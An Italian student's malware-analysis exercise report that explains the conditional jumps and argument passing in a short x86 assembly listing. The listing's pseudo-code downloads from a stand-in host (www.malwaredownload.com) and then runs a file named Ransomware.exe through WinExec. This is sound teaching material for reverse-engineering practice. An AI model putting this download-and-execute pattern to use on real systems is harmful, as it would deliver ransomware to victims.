Cyber Security & Ethical Hacking

Analisi Malware - Progetto S11/L5

Vincenzo Colletta 11/12/2023

Traccia

Spiegare, motivando, quale salto condizionale effettua il Malware

Disegnare un diagramma di flusso, identificando i salti condizionali, con diversi colori (in verde i salti effettuati, in rosso i salti non effettuati).

Spiegare quali sono le diverse funzionalità implementate all'interno del Malware.

Con riferimento alle istruzioni «call» presenti in tabella 2 e 3, dettagliare come sono passati gli argomenti alle successive chiamate di funzione.

Introduzione

Nell’esercizio ci viene chiesto di spiegare qual’è il salto condizionale che effettua il Malware, ma intanto andiamo a capire che cos’è un salto condizionale.

I salti condizionali nei malware si riferiscono alla capacità di un programma malevolo di eseguire azioni diverse in base a determinate condizioni. Questi salti condizionali consentono al programma di adattarsi all'ambiente in cui si trova e di prendere decisioni in base a variabili come il sistema operativo, la presenza di determinati file o software, la connettività di rete e così via. Le istruzioni che vediamo qui, sono i comandi di cmp e jump.

Cmp, vuol dire “compare”, quindi compara, confronta, due operandi, e assegna le apposite flag, di stato nel processore, in base al risultato del confronto. Quindi possiamo assumere come questa sia a tutti gli effetti una condizione derivante appunto da una comparazione. Nella tabella 1, abbiamo l’istruzione “cmp EAX,5” quindi stiamo confrontando il valore del registro EAX con 5, e da qui possiamo avere due risultati. Ma andiamo a vederlo nella tabella.

Locazione	Istruzione	Operandi	Note
00401040	mov	EAX, 5	
00401044	mov	EBX, 10	
00401048	cmp	EAX, 5	
0040105B	jnz	loc 0040BBA0	; tabella 2
0040105F	inc	EBX	
00401064	cmp	EBX, 11	
00401068	jz	loc 0040FFA0	; tabella 3

Qui il salto condizionale di "EAX" avviene solo se il confronto "cmp EAX, 5" genera una differenza tra il contenuto di EAX e il valore 5. Il risultato dell'operazione è 0, quindi non da differenze, motivo per cui la Zero Flag assumerà valore 1 e il salto non verrà effettuato e pertanto verranno eseguite le successive righe del codice.

Locazione	Istruzione	Operandi	Note
00401040	mov	EAX, 5	
00401044	mov	EBX, 10	
00401048	cmp	EAX, 5	
0040105B	jnz	loc 0040BBA0	; tabella 2
0040105F	inc	EBX	
00401064	cmp	EBX, 11	
00401068	jz	loc 0040FFA0	; tabella 3

Qui invece evidenziamo l'incremento di 1 di EBX

Locazione	Istruzione	Operandi	Note
00401040	mov	EAX, 5	
00401044	mov	EBX, 10	
00401048	cmp	EAX, 5	
0040105B	jnz	loc 0040BBA0	; tabella 2
0040105F	inc	EBX	
00401064	cmp	EBX, 11	
00401068	jz	loc 0040FFA0	; tabella 3

Adesso invece abbiamo una condizione JZ ovvero il salto si verifica se la condizione di JZ=1 è soddisfatta. Analizzando le istruzioni, si nota che viene effettuato un confronto tra il registro EBX (con valore 11) e 11. Analogamente al caso di cui sopra, il risultato sarà 0, motivo per cui la Zero Flag assumerà valore 1, ragion per cui questa volta il salto verrà effettuato in quanto la condizione di JUMP ZERO è stata soddisfatta.

Illustriamo con un diagramma

Locazione	Istruzione	Operandi	Note
00401040	mov	EAX, 5	
00401044	mov	EBX, 10	
00401048	cmp	EAX, 5	
0040105B	jnz	loc 0040BBA0	; tabella 2

Locazione	Istruzione	Operandi	Note
0040BBA0	mov	EAX, EDI	EDI= www.malwaredownload.com
0040BBA4	push	EAX	; URL
0040BBA8	call	DownloadToFile()	; pseudo funzione

0040105F	inc	EBX	
00401064	cmp	EBX, 11	
00401068	jz	loc 0040FFA0	; tabella 3

Locazione	Istruzione	Operandi	Note
0040FFA0	mov	EDX, EDI	EDI: C:\Program and Settings\Local User\Desktop\Ransomware.exe
0040FFA4	push	EDX	; .exe da eseguire
0040FFA8	call	WinExec()	; pseudo funzione

Funzionalità implementate

Adesso andiamo a vedere quali sono le funzionalità implementate dal malware

Locazione	Istruzione	Operandi	Note
0040BBA0	mov	EAX, EDI	EDI= www.malwaredownload.com
0040BBA4	push	EAX	; URL
0040BBA8	call	DownloadToFile()	; pseudo funzione

Le funzioni che andiamo a vedere sono principalmente due, la prima è nella Tabella 2, con "call, DownloadToFile()". Questa è un'operazione che coinvolge il download di un file da un URL specifico e il salvataggio di questo file sul disco del computer.

Locazione	Istruzione	Operandi	Note
0040FFA0	mov	EDX, EDI	EDI: C:\Program and Settings\Local User\Desktop\Ransomware.exe
0040FFA4	push	EDX	; .exe da eseguire
0040FFA8	call	WinExec()	; pseudo funzione

La seconda è nella Tabella 3 ed è la funzione "call, WinExec()". Essa è utilizzata per avviare un eseguibile in questo caso un .exe, situato in una posizione specifica del sistema (C:\Program and Settings\Local User\Desktop\Ransomware.exe).

Dettagliare come sono passati gli argomenti alle successive chiamate di funzione.

In entrambi i casi, l'argomento da passare alla funzione viene memorizzato in un registro (come EAX o EDX) e poi inserito nello stack con l'istruzione push prima della chiamata effettiva della funzione con call. Questo è un metodo per passare gli argomenti alle funzioni: vengono memorizzati nei registri o nello stack in modo che la funzione chiamata possa accedervi per eseguire le operazioni desiderate.
In entrambi i casi, sia per la funzione “DownloadToFile()” che per la funzione “WinExec()” i parametri sono passati sullo stack utilizzando l’istruzione push.

Alla funzione «DownloadToFile()» viene passato l’URL (www.malwaredownload.com) dal quale scaricare ulteriori file compromessi

Locazione	Istruzione	Operandi	Note
0040BBA0	mov	EAX, EDI	EDI= www.malwaredownload.com
0040BBA4	push	EAX	; URL
0040BBA8	call	DownloadToFile()	; pseudo funzione

Alla funzione «WinExec()» viene passato il path assoluto dell’eseguibile da avviare

Locazione	Istruzione	Operandi	Note
0040FFA0	mov	EDX, EDI	EDI: C:\Program and Settings\Local User\Desktop\Ransomware.exe
0040FFA4	push	EDX	; .exe da eseguire
0040FFA8	call	WinExec()	; pseudo funzione

Fin.